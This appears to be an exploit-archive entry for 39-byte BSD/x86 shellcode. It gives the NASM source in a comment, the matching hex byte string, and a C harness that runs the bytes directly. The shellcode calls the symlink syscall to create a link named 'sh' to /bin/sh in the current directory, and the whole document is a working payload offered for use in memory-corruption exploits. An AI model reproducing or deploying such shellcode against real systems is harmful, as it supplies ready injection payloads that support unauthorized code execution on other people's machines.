BSD/x86 - symlink /bin/sh sh Shellcode (39 bytes)

/*The shellcode calls the symlink() and makes the 
 link to the /bin/sh in the current dir.
 size = 39 bytes
 OS   = *BSD
    written by /rootteam/dev0id (rootteam.void.ru)
     
     
BITS 32
jmp short   callme
main:
    pop esi
    xor eax,eax
    mov byte [esi+7],al
    mov byte [esi+10],al
    lea ebx,[esi+8]
    push    ebx
    lea ebx,[esi]
    push    ebx
    mov al,57
    push    eax
    int 0x80
     
callme:
    call    main
    db  '/bin/sh#sh#'
*/
 
char shellcode[] =
    "\xeb\x15\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x8d\x5e\x08\x53"
    "\x8d\x1e\x53\xb0\x39\x50\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62"
    "\x69\x6e\x2f\x73\x68\x23\x73\x68\x23";
 
 
  
 
  
 
 
int
main (void)
{
    void (*code)(void);
    code=(void(*)())shellcode;
    (void)code();
    return 0;
         
}